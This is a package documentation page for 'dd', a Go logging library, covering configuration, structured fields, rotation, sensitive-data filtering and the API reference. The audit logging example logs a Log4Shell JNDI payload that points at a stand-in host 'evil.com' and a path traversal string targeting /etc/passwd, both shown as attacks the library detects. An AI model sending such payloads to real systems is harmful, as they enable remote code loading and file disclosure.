dd

package module
v1.2.2 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 21, 2026 License: MIT Imports: 25 Imported by: 0

README

DD - High-Performance Go Logging Library

Go Version pkg.go.dev License Security Thread Safe

A production-grade high-performance Go logging library with zero external dependencies, designed for modern cloud-native applications.

📖 中文文档 | 📦 pkg.go.dev


✨ Key Features

Feature Description
🚀 High Performance 3M+ ops/sec simple logging, optimized for high-throughput
🔒 Thread-Safe Atomic operations + lock-free design, fully concurrent-safe
🛡️ Built-in Security Sensitive data filtering, injection attack prevention
📊 Structured Logging Type-safe fields, JSON/text formats, customizable field names
📁 Smart Rotation Auto-rotate by size, auto-compress, auto-cleanup
📦 Zero Dependencies Only Go standard library
🎯 Easy to Use Get started in 30 seconds with intuitive API
🌐 Cloud-Native JSON format compatible with ELK/Splunk/CloudWatch

📦 Installation

go get github.com/cybergodev/dd

Requirements: Go 1.25+


🚀 Quick Start

30-Second Setup
package main

import "github.com/cybergodev/dd"

func main() {
    // Zero setup - use package-level functions
    dd.Debug("Debug message")
    dd.Info("Application started")
    dd.Warn("Cache miss")
    dd.Error("Connection failed")
    // dd.Fatal("Critical error")  // Calls os.Exit(1)

    // Structured logging with fields
    dd.InfoWith("Request processed",
        dd.String("method", "GET"),
        dd.Int("status", 200),
        dd.Float64("duration_ms", 45.67),
    )
}
File Logging
package main

import (
    "log"

    "github.com/cybergodev/dd"
)

func main() {
    // One-line file logging with explicit error handling
    logger, err := dd.ToFile("logs/app.log")
    if err != nil {
        log.Fatalf("failed to create logger: %v", err)
    }
    defer logger.Close()

    logger.Info("Application started")
    logger.InfoWith("User login",
        dd.String("user_id", "12345"),
        dd.String("ip", "192.168.1.100"),
    )
}
Convenience Constructors
// Quick constructors with explicit error handling
logger, err := dd.ToFile("logs/app.log")    // → logs/app.log (text)
if err != nil { /* handle error */ }

logger, err = dd.ToJSONFile("logs/app.log") // → logs/app.log (JSON)
if err != nil { /* handle error */ }

logger, err = dd.ToConsole()                // → stdout only
if err != nil { /* handle error */ }

logger, err = dd.ToAll("logs/app.log")      // → console + file
if err != nil { /* handle error */ }

logger, err = dd.ToAllJSON("logs/app.log")  // → console + file (JSON)
if err != nil { /* handle error */ }

logger, err = dd.ToWriter(&buf)             // → bytes.Buffer
if err != nil { /* handle error */ }

logger, err = dd.ToWriters(os.Stdout, fileWriter) // → stdout + file
if err != nil { /* handle error */ }

defer logger.Close()

📖 Configuration

Preset Configurations
// Production (default) - Info level, text format
logger, err := dd.New(dd.DefaultConfig())

// Development - Debug level, caller info
logger, err := dd.New(dd.DevelopmentConfig())

// Cloud-native - JSON format, debug level
logger, err := dd.New(dd.JSONConfig())
Custom Configuration
cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
cfg.DynamicCaller = true  // Show caller file:line

// File output with rotation
cfg.File = &dd.FileConfig{
    Path:       "logs/app.log",
    MaxSizeMB:  100,                 // Rotate at 100MB
    MaxBackups: 10,                  // Keep 10 backups
    MaxAge:     30 * 24 * time.Hour, // Delete after 30 days
    Compress:   true,                // Gzip old files
}

logger, err := dd.New(cfg)
if err != nil {
    log.Fatalf("failed to create logger: %v", err)
}
defer logger.Close()
Configure Package-Level Functions

The package-level functions (dd.Debug(), dd.Info(), etc.) use a default logger. Use InitDefault() to customize its behavior:

package main

import "github.com/cybergodev/dd"

func main() {
    // Configure the default logger for package-level functions
    cfg := dd.DefaultConfig()
    cfg.Level = dd.LevelDebug
    cfg.DynamicCaller = false  // Disable caller file:line output

    if err := dd.InitDefault(cfg); err != nil {
        panic(err)
    }

    // Now these use your configuration
    dd.Debug("Debug message")      // No caller info
    dd.Info("Application started") // No caller info

    // Re-enable caller info
    cfg.DynamicCaller = true
    dd.InitDefault(cfg)

    dd.Info("With caller info")    // Shows file:line
}
JSON Customization
cfg := dd.JSONConfig()
cfg.JSON.FieldNames = &dd.JSONFieldNames{
    Timestamp: "@timestamp",  // ELK standard
    Level:     "severity",
    Message:   "msg",
    Caller:    "source",
}
cfg.JSON.PrettyPrint = true  // For development

logger, err := dd.New(cfg)
if err != nil {
    log.Fatalf("failed to create logger: %v", err)
}

🛡️ Security Features

Sensitive Data Filtering
cfg := dd.DefaultConfig()
cfg.Security = dd.DefaultSecurityConfig()  // Enable basic filtering

logger, err := dd.New(cfg)
if err != nil {
    log.Fatalf("failed to create logger: %v", err)
}

// Automatic filtering
logger.Info("password=secret123")           // → password=[REDACTED]
logger.Info("api_key=sk-abc123")            // → api_key=[REDACTED]
logger.Info("credit_card=4532015112830366") // → credit_card=[REDACTED]
logger.Info("[email protected]")       // → email=[REDACTED]
Security Level Filter Type Coverage
DefaultSecurityConfig() Basic Passwords, API keys, credit cards, phone numbers, database URLs
DefaultSecureConfig() Full Basic + JWTs, AWS keys, IPs, SSNs
HealthcareConfig() HIPAA Full + PHI patterns
FinancialConfig() PCI-DSS Full + financial data
GovernmentConfig() Government Full + classified patterns
Custom Patterns
filter := dd.NewEmptySensitiveDataFilter()
filter.AddPatterns(
    `(?i)internal_token[:\s=]+[^\s]+`,
    `(?i)session_id[:\s=]+[^\s]+`,
)

cfg := dd.DefaultConfig()
cfg.Security = &dd.SecurityConfig{
    SensitiveFilter: filter,
}
logger, err := dd.New(cfg)
if err != nil {
    log.Fatalf("failed to create logger: %v", err)
}
Disable Security (Max Performance)
cfg := dd.DefaultConfig()
cfg.Security = dd.SecurityConfigForLevel(dd.SecurityLevelDevelopment)

📊 Structured Logging

Field Types
logger.InfoWith("All field types",
    dd.String("user", "alice"),
    dd.Int("count", 42),
    dd.Int64("id", 9876543210),
    dd.Float64("score", 98.5),
    dd.Bool("active", true),
    dd.Time("created_at", time.Now()),
    dd.Duration("elapsed", 150*time.Millisecond),
    dd.Err(errors.New("connection failed")),
    dd.ErrWithStack(errors.New("critical error")), // Include stack trace
    dd.Any("tags", []string{"vip", "premium"}),
)
Field Chaining
// Create logger with persistent fields
userLogger := logger.WithFields(
    dd.String("service", "user-api"),
    dd.String("version", "1.0.0"),
)

// All logs include service and version
userLogger.Info("User authenticated")
userLogger.InfoWith("Profile loaded", dd.String("user_id", "123"))

// Chain more fields
requestLogger := userLogger.WithFields(
    dd.String("request_id", "req-abc-123"),
)
requestLogger.Info("Processing request")

🔧 Output Management

Multiple Outputs
// Console + file with explicit error handling
logger, err := dd.ToAll("logs/app.log")
if err != nil { /* handle error */ }

// Or use MultiWriter
fileWriter, err := dd.NewFileWriter("logs/app.log")
if err != nil { /* handle error */ }

multiWriter := dd.NewMultiWriter(os.Stdout, fileWriter)

cfg := dd.DefaultConfig()
cfg.Output = multiWriter
logger, err := dd.New(cfg)
Buffered Writes (High Throughput)
fileWriter, err := dd.NewFileWriter("logs/app.log")
if err != nil { /* handle error */ }

bufferedWriter, err := dd.NewBufferedWriter(fileWriter)  // Default 4KB buffer
if err != nil { /* handle error */ }
defer bufferedWriter.Close()  // IMPORTANT: Flush on close

cfg := dd.DefaultConfig()
cfg.Output = bufferedWriter
logger, err := dd.New(cfg)
Dynamic Writer Management
logger, err := dd.New()
if err != nil { /* handle error */ }

fileWriter, err := dd.NewFileWriter("logs/dynamic.log")
if err != nil { /* handle error */ }

logger.AddWriter(fileWriter)        // Add at runtime
logger.RemoveWriter(fileWriter)     // Remove at runtime

fmt.Printf("Writers: %d\n", logger.WriterCount())

🌐 Context & Tracing

Context Keys
ctx := context.Background()
ctx = dd.WithTraceID(ctx, "trace-abc123")
ctx = dd.WithSpanID(ctx, "span-def456")
ctx = dd.WithRequestID(ctx, "req-789xyz")

// Pattern 1: Extract context values and pass to WithFields
entry := logger.WithFields(
    dd.String("trace_id", dd.GetTraceID(ctx)),
    dd.String("span_id", dd.GetSpanID(ctx)),
)
entry.InfoWith("Processing request", dd.String("user", "alice"))

// Pattern 2: Use helper function for extraction
func extractTraceFields(ctx context.Context) []dd.Field {
    var fields []dd.Field
    if traceID := dd.GetTraceID(ctx); traceID != "" {
        fields = append(fields, dd.String("trace_id", traceID))
    }
    if spanID := dd.GetSpanID(ctx); spanID != "" {
        fields = append(fields, dd.String("span_id", spanID))
    }
    return fields
}

traceFields := extractTraceFields(ctx)
logger.InfoWith("User action", append(traceFields,
    dd.String("action", "login"),
)...)

Note: Always use a valid parent context (e.g., context.Background()), never nil.

Custom Context Extractors
tenantExtractor := func(ctx context.Context) []dd.Field {
    if tenantID := ctx.Value("tenant_id"); tenantID != nil {
        return []dd.Field{dd.String("tenant_id", tenantID.(string))}
    }
    return nil
}

cfg := dd.DefaultConfig()
cfg.ContextExtractors = []dd.ContextExtractor{tenantExtractor}
logger, err := dd.New(cfg)

🪝 Hooks

hooks := dd.NewHooksFromConfig(dd.HooksConfig{
    BeforeLog: []dd.Hook{
        func(ctx context.Context, hctx *dd.HookContext) error {
            fmt.Printf("Before: %s\n", hctx.Message)
            return nil
        },
    },
    AfterLog: []dd.Hook{
        func(ctx context.Context, hctx *dd.HookContext) error {
            fmt.Printf("After: %s\n", hctx.Message)
            return nil
        },
    },
    OnError: []dd.Hook{
        func(ctx context.Context, hctx *dd.HookContext) error {
            fmt.Printf("Error: %v\n", hctx.Error)
            return nil
        },
    },
})

cfg := dd.DefaultConfig()
cfg.Hooks = hooks
logger, err := dd.New(cfg)

🔐 Audit Logging

Audit Events
// Create audit logger
auditCfg := dd.DefaultAuditConfig()
auditLogger := dd.NewAuditLogger(auditCfg)
defer auditLogger.Close()

// Log security events
auditLogger.LogSensitiveDataRedaction("password=*", "password", "Password redacted")
auditLogger.LogPathTraversalAttempt("../../../etc/passwd", "Path traversal blocked")
auditLogger.LogSecurityViolation("LOG4SHELL", "Pattern detected", map[string]any{
    "input": "${jndi:ldap://evil.com/a}",
})
Log Integrity
// Create signer with secret key
integrityCfg := dd.DefaultIntegrityConfig()
signer, err := dd.NewIntegritySigner(integrityCfg)
if err != nil { /* handle error */ }

// Sign log messages
message := "Critical audit event"
signature := signer.Sign(message)
fmt.Printf("Signed: %s %s\n", message, signature)

// Verify signature
result := dd.VerifyAuditEvent(message+" "+signature, signer)
if result.Valid {
    fmt.Println("Signature valid")
}

📈 Performance

Operation Throughput Memory/Op Allocs/Op
Simple Logging 3.1M ops/sec 200 B 7
Structured (3 fields) 1.9M ops/sec 417 B 12
JSON Format 600K ops/sec 800 B 20
Level Check 2.5B ops/sec 0 B 0
Concurrent (22 goroutines) 68M ops/sec 200 B 7

Optimization Tips:

  • Use IsLevelEnabled() before expensive operations: if logger.IsDebugEnabled() { ... }
  • Enable buffered writes for high-throughput scenarios
  • Disable security filtering in trusted environments

📚 API Reference

Log Levels
Constant Value Description
dd.LevelDebug 1 Detailed diagnostic info
dd.LevelInfo 2 General operational messages (default)
dd.LevelWarn 3 Warning conditions
dd.LevelError 4 Error conditions
dd.LevelFatal 5 Severe errors (calls os.Exit(1))
Package-Level Functions
// Simple logging
dd.Debug(args ...any)
dd.Info(args ...any)
dd.Warn(args ...any)
dd.Error(args ...any)
dd.Fatal(args ...any)  // Calls os.Exit(1)

// Formatted logging
dd.Debugf(format string, args ...any)
dd.Infof(format string, args ...any)
dd.Warnf(format string, args ...any)
dd.Errorf(format string, args ...any)
dd.Fatalf(format string, args ...any)

// Structured logging
dd.InfoWith(msg string, fields ...dd.Field)
dd.ErrorWith(msg string, fields ...dd.Field)
// ... DebugWith, WarnWith, FatalWith

// Global logger management
dd.InitDefault(cfg *Config) error    // Initialize default logger with config
dd.SetDefault(logger *Logger)
dd.SetLevel(level LogLevel)
dd.GetLevel() LogLevel
Logger Methods
logger, err := dd.New()

// Simple logging
logger.Info(args ...any)
logger.Infof(format string, args ...any)
logger.InfoWith(msg string, fields ...Field)

// Level management
logger.SetLevel(level LogLevel) error
logger.GetLevel() LogLevel
logger.IsLevelEnabled(level LogLevel) bool

// Writer management
logger.AddWriter(w io.Writer) error
logger.RemoveWriter(w io.Writer) error
logger.WriterCount() int

// Lifecycle
logger.Flush() error
logger.Close() error
logger.IsClosed() bool

// Field chaining
logger.WithFields(fields ...Field) *LoggerEntry
logger.WithField(key string, value any) *LoggerEntry
Field Constructors
dd.String(key, value string)
dd.Int(key string, value int)
dd.Int64(key string, value int64)
dd.Float64(key string, value float64)
dd.Bool(key string, value bool)
dd.Time(key string, value time.Time)
dd.Duration(key string, value time.Duration)
dd.Err(err error)                    // Error field
dd.ErrWithStack(err error)           // Error with stack trace
dd.Any(key string, value any)        // Any type
Context Functions
// Set context values
dd.WithTraceID(ctx context.Context, id string) context.Context
dd.WithSpanID(ctx context.Context, id string) context.Context
dd.WithRequestID(ctx context.Context, id string) context.Context

// Get context values
dd.GetTraceID(ctx context.Context) string
dd.GetSpanID(ctx context.Context) string
dd.GetRequestID(ctx context.Context) string
Convenience Constructors
Constructor Description
ToFile(path) File output (text format)
ToJSONFile(path) File output (JSON format)
ToConsole() Stdout only
ToAll(path) Console + file (text format)
ToAllJSON(path) Console + file (JSON format)
ToWriter(w) Single io.Writer
ToWriters(...w) Multiple io.Writer

📁 Examples

See the examples directory for complete, runnable examples:

File Description
01_quick_start.go Basic usage in 5 minutes
02_structured_logging.go Type-safe fields, WithFields
03_configuration.go Config API, presets, rotation
04_security.go Filtering, custom patterns
05_writers.go File, buffered, multi-writer
06_context_hooks.go Tracing, hooks
07_convenience.go Quick constructors
08_production.go Production patterns
09_advanced.go Sampling, validation
10_audit_integrity.go Audit, integrity

📄 License

MIT License - see LICENSE file for details.


If this project helps you, please give it a Star! ⭐

Documentation

Overview

Package dd provides convenience constructors for quick logger setup.

Package dd provides a high-performance, thread-safe logging library for Go.

dd (short for "data-driven" or "distributed debugger") is designed for production workloads with a focus on performance, security, and structured logging. It provides multiple output formats, sensitive data filtering, and seamless context integration.

Features

  • Thread-safe: All operations are safe for concurrent use
  • Multiple log levels: Debug, Info, Warn, Error, Fatal
  • Flexible output: Console, file, or any io.Writer
  • Structured logging: Key-value field support with type-safe helpers
  • JSON format: Built-in JSON output with configurable field names
  • Sensitive data filtering: Automatic redaction of passwords, tokens, etc.
  • Context integration: Extract trace IDs and request IDs from context
  • Log rotation: Built-in file rotation with compression support
  • Lifecycle hooks: Extensible hook system for custom behavior
  • Log sampling: Reduce log volume in high-throughput scenarios
  • Zero allocations: Optimized for minimal GC pressure

Quick Start

Basic usage:

package main

import "github.com/cybergodev/dd"

func main() {
    // Create a logger with default settings
    logger, _ := dd.New()

    // Simple logging
    logger.Info("Application started")
    logger.Errorf("User %s logged in", "john")

    // Structured logging
    logger.InfoWith("Request processed",
        dd.String("method", "GET"),
        dd.Int("status", 200),
        dd.Duration("latency", 150*time.Millisecond),
    )

    // Clean up
    logger.Close()
}

Configuration

Using Config struct (recommended):

cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
cfg.DynamicCaller = true
logger, _ := dd.New(cfg)

With file output:

cfg := dd.DefaultConfig()
cfg.File = &dd.FileConfig{
    Path:       "app.log",
    MaxSizeMB:  100,
    MaxBackups: 10,
    Compress:   true,
}
logger, _ := dd.New(cfg)

Using presets:

// Development preset
logger, _ := dd.New(dd.DevelopmentConfig())

// JSON preset
logger, _ := dd.New(dd.JSONConfig())

Structured Logging

Create type-safe fields:

logger.InfoWith("User action",
    dd.String("user_id", "123"),
    dd.String("action", "login"),
    dd.Time("timestamp", time.Now()),
    dd.Err(err),
)

Chain fields for reuse:

userLogger := logger.WithFields(dd.String("user_id", "123"))
userLogger.Info("Login successful")
userLogger.Error("Permission denied")

Context Integration

Use ContextExtractors in the Config to automatically extract tracing fields:

traceExtractor := func(ctx context.Context) []dd.Field {
    var fields []dd.Field
    if traceID := dd.GetTraceID(ctx); traceID != "" {
        fields = append(fields, dd.String("trace_id", traceID))
    }
    if spanID := dd.GetSpanID(ctx); spanID != "" {
        fields = append(fields, dd.String("span_id", spanID))
    }
    return fields
}

cfg := dd.DefaultConfig()
cfg.ContextExtractors = []dd.ContextExtractor{traceExtractor}
logger, _ := dd.New(cfg)

ctx := dd.WithTraceID(context.Background(), "trace-123")
logger.InfoWith("Processing request", dd.String("user", "alice"))

Sensitive Data Filtering

Enable automatic filtering of sensitive data:

cfg := dd.DefaultConfig()
cfg.Security = dd.DefaultSecurityConfig()
logger, _ := dd.New(cfg)

logger.Info("User logged in", "password", "secret123")
// Output: User logged in password=***REDACTED***

File Output with Rotation

cfg := dd.DefaultConfig()
cfg.File = &dd.FileConfig{
    Path:       "logs/app.log",
    MaxSizeMB:  100,
    MaxBackups: 5,
    MaxAge:     7 * 24 * time.Hour,
    Compress:   true,
}
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

Interface for Testing

Use the LogProvider interface for dependency injection:

type Service struct {
    logger dd.LogProvider
}

func NewService(logger dd.LogProvider) *Service {
    return &Service{logger: logger}
}

Performance

dd is optimized for high-throughput scenarios:

  • Sync.Pool for message buffer reuse
  • Atomic operations for thread-safe state
  • Lock-free reads for writers and extractors
  • Minimal allocations in hot paths

Log Levels

From lowest to highest priority:

  • LevelDebug: Detailed information for debugging
  • LevelInfo: General operational information
  • LevelWarn: Warning conditions that may indicate problems
  • LevelError: Error conditions that should be investigated
  • LevelFatal: Severe errors that require program termination

Thread Safety

All Logger methods are safe for concurrent use. You can:

  • Share a single logger across goroutines
  • Add/remove writers at runtime
  • Change log level dynamically
  • Modify context extractors and hooks

Graceful Shutdown

Always close the logger before exit:

logger.Close()

For Fatal logs, use custom fatal handler:

cfg := dd.DefaultConfig()
cfg.FatalHandler = func() {
    // Custom cleanup
    logger.Close()
    os.Exit(1)
}
logger, _ := dd.New(cfg)

Package dd provides field validation functionality for structured logging.

Package dd provides a high-performance, thread-safe logging library.

Index

Constants

View Source
const (
	DefaultMaxSizeMB  = 100
	DefaultMaxBackups = 10
	DefaultMaxAge     = 30 * 24 * time.Hour
)
View Source
const (
	ErrCodeNilConfig          = "NIL_CONFIG"
	ErrCodeNilWriter          = "NIL_WRITER"
	ErrCodeNilFilter          = "NIL_FILTER"
	ErrCodeNilHook            = "NIL_HOOK"
	ErrCodeNilExtractor       = "NIL_EXTRACTOR"
	ErrCodeLoggerClosed       = "LOGGER_CLOSED"
	ErrCodeWriterNotFound     = "WRITER_NOT_FOUND"
	ErrCodeInvalidLevel       = "INVALID_LEVEL"
	ErrCodeInvalidFormat      = "INVALID_FORMAT"
	ErrCodeMaxWritersExceeded = "MAX_WRITERS_EXCEEDED"
	ErrCodeEmptyFilePath      = "EMPTY_FILE_PATH"
	ErrCodePathTooLong        = "PATH_TOO_LONG"
	ErrCodePathTraversal      = "PATH_TRAVERSAL"
	ErrCodeNullByte           = "NULL_BYTE"
	ErrCodeInvalidPath        = "INVALID_PATH"
	ErrCodeSymlinkNotAllowed  = "SYMLINK_NOT_ALLOWED"
	ErrCodeHardlinkNotAllowed = "HARDLINK_NOT_ALLOWED"
	ErrCodeOverlongEncoding   = "OVERLONG_ENCODING"
	ErrCodeMaxSizeExceeded    = "MAX_SIZE_EXCEEDED"
	ErrCodeMaxBackupsExceeded = "MAX_BACKUPS_EXCEEDED"
	ErrCodeBufferSizeTooLarge = "BUFFER_SIZE_TOO_LARGE"
	ErrCodeInvalidPattern     = "INVALID_PATTERN"
	ErrCodeEmptyPattern       = "EMPTY_PATTERN"
	ErrCodePatternTooLong     = "PATTERN_TOO_LONG"
	ErrCodeReDoSPattern       = "REDOS_PATTERN"
	ErrCodePatternFailed      = "PATTERN_FAILED"
	ErrCodeConfigValidation   = "CONFIG_VALIDATION"
	ErrCodeWriterAdd          = "WRITER_ADD"
	ErrCodeMultipleConfigs    = "MULTIPLE_CONFIGS"
	ErrCodeNilMultiWriter     = "NIL_MULTIWRITER"
)

Error codes for structured error handling. These codes enable programmatic error matching using errors.Is() and errors.As().

View Source
const (
	LevelDebug = internal.LevelDebug
	LevelInfo  = internal.LevelInfo
	LevelWarn  = internal.LevelWarn
	LevelError = internal.LevelError
	LevelFatal = internal.LevelFatal
)
View Source
const DefaultLogPath = "logs/app.log"

DefaultLogPath is the default path for log files.

View Source
const (
	DefaultTimeFormat = "2006-01-02T15:04:05Z07:00"
)

Variables

View Source
var (
	ErrNilConfig          = errors.New("config cannot be nil")
	ErrNilWriter          = errors.New("writer cannot be nil")
	ErrNilFilter          = errors.New("filter cannot be nil")
	ErrNilHook            = errors.New("hook cannot be nil")
	ErrNilExtractor       = errors.New("context extractor cannot be nil")
	ErrLoggerClosed       = errors.New("logger is closed")
	ErrWriterNotFound     = errors.New("writer not found")
	ErrInvalidLevel       = errors.New("invalid log level")
	ErrInvalidFormat      = errors.New("invalid log format")
	ErrMaxWritersExceeded = errors.New("maximum writer count exceeded")
	ErrEmptyFilePath      = errors.New("file path cannot be empty")
	ErrPathTooLong        = errors.New("file path too long")
	ErrPathTraversal      = errors.New("path traversal detected")
	ErrNullByte           = errors.New("null byte in input")
	ErrInvalidPath        = errors.New("invalid file path")
	ErrSymlinkNotAllowed  = errors.New("symlinks not allowed")
	ErrHardlinkNotAllowed = errors.New("hardlinks not allowed")
	ErrOverlongEncoding   = errors.New("UTF-8 overlong encoding detected")
	ErrMaxSizeExceeded    = errors.New("maximum size exceeded")
	ErrMaxBackupsExceeded = errors.New("maximum backup count exceeded")
	ErrBufferSizeTooLarge = errors.New("buffer size too large")
	ErrInvalidPattern     = errors.New("invalid regex pattern")
	ErrEmptyPattern       = errors.New("pattern cannot be empty")
	ErrPatternTooLong     = errors.New("pattern length exceeds maximum")
	ErrReDoSPattern       = errors.New("pattern contains dangerous nested quantifiers that may cause ReDoS")
	ErrPatternFailed      = errors.New("failed to add pattern")
	ErrConfigValidation   = errors.New("configuration validation failed")
	ErrWriterAdd          = errors.New("failed to add writer")
	ErrMultipleConfigs    = errors.New("multiple configs provided, expected 0 or 1")
	ErrNilMultiWriter     = errors.New("multiwriter is nil")
)

Sentinel errors for backward compatibility. These can be used with errors.Is() for simple error matching.

Functions

func AddWriter added in v1.2.0

func AddWriter(writer io.Writer) error

AddWriter adds a writer to the default logger.

func Debug

func Debug(args ...any)

func DebugWith

func DebugWith(msg string, fields ...Field)

DebugWith logs a structured debug message with the default logger.

func Debugf

func Debugf(format string, args ...any)

func DefaultHookErrorHandler added in v1.2.0

func DefaultHookErrorHandler(event HookEvent, hookCtx *HookContext, err error)

DefaultHookErrorHandler logs hook errors to stderr. This is the default error handler used when no custom handler is set.

func DefaultInitError added in v1.2.0

func DefaultInitError() error

DefaultInitError returns the error that occurred during default logger initialization. Returns nil if initialization was successful or hasn't occurred yet. This allows applications to detect if the default logger is running in fallback mode.

Example:

logger := dd.Default()
if err := dd.DefaultInitError(); err != nil {
    log.Printf("Warning: default logger initialized with error: %v", err)
}

func DefaultUsedFallback added in v1.2.0

func DefaultUsedFallback() bool

DefaultUsedFallback returns true if the default logger was created using a fallback configuration due to an initialization error. This indicates the default logger may not be configured as expected.

func Error

func Error(args ...any)

func ErrorWith

func ErrorWith(msg string, fields ...Field)

ErrorWith logs a structured error message with the default logger.

func Errorf

func Errorf(format string, args ...any)

func Exit added in v1.0.3

func Exit(data ...any)

Exit outputs data as pretty-printed JSON to stdout and exits with code 0.

func Exitf added in v1.0.3

func Exitf(format string, args ...any)

Exitf outputs formatted data to stdout with caller info and exits with code 0.

func Fatal

func Fatal(args ...any)

Fatal logs a message at FATAL level using the default logger and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Error() with custom logic.

func FatalWith

func FatalWith(msg string, fields ...Field)

FatalWith logs a structured fatal message with the default logger and exits. WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorWith() with custom logic.

func Fatalf

func Fatalf(format string, args ...any)

Fatalf logs a formatted message at FATAL level using the default logger and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Errorf() with custom logic.

func Flush added in v1.2.0

func Flush() error

Flush flushes any buffered data in the default logger.

func GetRequestID added in v1.2.0

func GetRequestID(ctx context.Context) string

GetRequestID retrieves the request ID from the context. Returns an empty string if no request ID is found.

Example:

requestID := dd.GetRequestID(ctx)
if requestID != "" {
    // Request ID is present
}

func GetSpanID added in v1.2.0

func GetSpanID(ctx context.Context) string

GetSpanID retrieves the span ID from the context. Returns an empty string if no span ID is found.

Example:

spanID := dd.GetSpanID(ctx)
if spanID != "" {
    // Span ID is present
}

func GetTraceID added in v1.2.0

func GetTraceID(ctx context.Context) string

GetTraceID retrieves the trace ID from the context. Returns an empty string if no trace ID is found.

Example:

traceID := dd.GetTraceID(ctx)
if traceID != "" {
    // Trace ID is present
}

func Info

func Info(args ...any)

func InfoWith

func InfoWith(msg string, fields ...Field)

InfoWith logs a structured info message with the default logger.

func Infof

func Infof(format string, args ...any)

func InitDefault added in v1.2.2

func InitDefault(cfg *Config) error

InitDefault initializes the default logger with the provided configuration. Returns an error if initialization fails. If a default logger already exists, it is closed and replaced with a new one.

Example:

cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
if err := dd.InitDefault(cfg); err != nil {
    log.Fatalf("Failed to initialize logger: %v", err)
}

func IsDebugEnabled added in v1.2.0

func IsDebugEnabled() bool

IsDebugEnabled checks if DEBUG level is enabled for the default logger.

func IsErrorEnabled added in v1.2.0

func IsErrorEnabled() bool

IsErrorEnabled checks if ERROR level is enabled for the default logger.

func IsFatalEnabled added in v1.2.0

func IsFatalEnabled() bool

IsFatalEnabled checks if FATAL level is enabled for the default logger.

func IsInfoEnabled added in v1.2.0

func IsInfoEnabled() bool

IsInfoEnabled checks if INFO level is enabled for the default logger.

func IsLevelEnabled added in v1.2.0

func IsLevelEnabled(level LogLevel) bool

IsLevelEnabled checks if the specified log level is enabled for the default logger.

func IsWarnEnabled added in v1.2.0

func IsWarnEnabled() bool

IsWarnEnabled checks if WARN level is enabled for the default logger.

func JSON added in v1.1.1

func JSON(data ...any)

JSON outputs data as compact JSON to stdout with caller info for debugging.

func JSONF added in v1.1.1

func JSONF(format string, args ...any)

JSONF outputs formatted data as compact JSON to stdout with caller info for debugging.

func Log added in v1.2.0

func Log(level LogLevel, args ...any)

Log logs a message at the specified level using the default logger.

func LogWith added in v1.2.0

func LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message at the specified level using the default logger.

func Logf added in v1.2.0

func Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level using the default logger.

func Print added in v1.0.6

func Print(args ...any)

Print writes to the default logger's configured writers using LevelInfo. This is a convenience function equivalent to Default().Print(). Applies sensitive data filtering based on SecurityConfig.

func Printf added in v1.0.6

func Printf(format string, args ...any)

Printf formats according to a format specifier and writes to the default logger's configured writers. Uses LevelInfo for filtering. Applies sensitive data filtering based on SecurityConfig.

func Println added in v1.0.6

func Println(args ...any)

Println writes to the default logger's configured writers with a newline. Uses LevelInfo for filtering. Applies sensitive data filtering. Note: Behaves identically to Print() because the underlying Log() already adds a newline.

func RemoveWriter added in v1.2.0

func RemoveWriter(writer io.Writer) error

RemoveWriter removes a writer from the default logger.

func SetDefault

func SetDefault(logger *Logger)

SetDefault sets the default global logger (thread-safe). If a previous default logger exists, it is safely closed in background. Passing nil is ignored (no change).

func SetLevel

func SetLevel(level LogLevel) error

SetLevel sets the log level for the default logger. Returns ErrInvalidLevel if the level is outside the valid range [LevelDebug, LevelFatal].

func SetSampling added in v1.2.0

func SetSampling(config *SamplingConfig)

SetSampling sets the sampling configuration for the default logger.

func Text added in v1.0.2

func Text(data ...any)

Text outputs data as pretty-printed format to stdout for debugging.

func Textf added in v1.0.3

func Textf(format string, args ...any)

Textf outputs formatted data as pretty-printed format to stdout for debugging.

func Warn

func Warn(args ...any)

func WarnWith

func WarnWith(msg string, fields ...Field)

WarnWith logs a structured warning message with the default logger.

func Warnf

func Warnf(format string, args ...any)

func WithRequestID added in v1.2.0

func WithRequestID(ctx context.Context, requestID string) context.Context

WithRequestID adds a request ID to the context. This is the type-safe way to store request IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithRequestID(context.Background(), "req-789")
logger.InfoCtx(ctx, "processing request") // Will include request_id field

func WithSpanID added in v1.2.0

func WithSpanID(ctx context.Context, spanID string) context.Context

WithSpanID adds a span ID to the context. This is the type-safe way to store span IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithSpanID(context.Background(), "span-456")
logger.InfoCtx(ctx, "processing request") // Will include span_id field

func WithTraceID added in v1.2.0

func WithTraceID(ctx context.Context, traceID string) context.Context

WithTraceID adds a trace ID to the context. This is the type-safe way to store trace IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithTraceID(context.Background(), "trace-123")
logger.InfoCtx(ctx, "processing request") // Will include trace_id field

func WriterCount added in v1.2.0

func WriterCount() int

WriterCount returns the number of writers in the default logger.

Types

type AuditConfig added in v1.2.0

type AuditConfig struct {
	// Enabled determines if audit logging is enabled.
	Enabled bool
	// Output is the destination for audit logs.
	// If nil, audit events are only available via the Events channel.
	Output *os.File
	// BufferSize is the size of the async event buffer.
	// Default: 1000 events
	BufferSize int
	// IncludeTimestamp determines if timestamps are included.
	IncludeTimestamp bool
	// JSONFormat determines if output should be JSON formatted.
	JSONFormat bool
	// MinimumSeverity is the minimum severity level to log.
	MinimumSeverity AuditSeverity
	// IntegritySigner provides optional integrity protection for audit logs.
	// When configured, each audit event is signed to detect tampering.
	IntegritySigner *IntegritySigner
}

AuditConfig configures the audit logger.

func DefaultAuditConfig added in v1.2.0

func DefaultAuditConfig() *AuditConfig

DefaultAuditConfig returns an AuditConfig with sensible defaults. Note: Audit logging is enabled by default for security monitoring.

func (*AuditConfig) Clone added in v1.2.0

func (c *AuditConfig) Clone() *AuditConfig

Clone creates a copy of the AuditConfig. Note: IntegritySigner is shared (not cloned) as it maintains internal state.

type AuditEvent added in v1.2.0

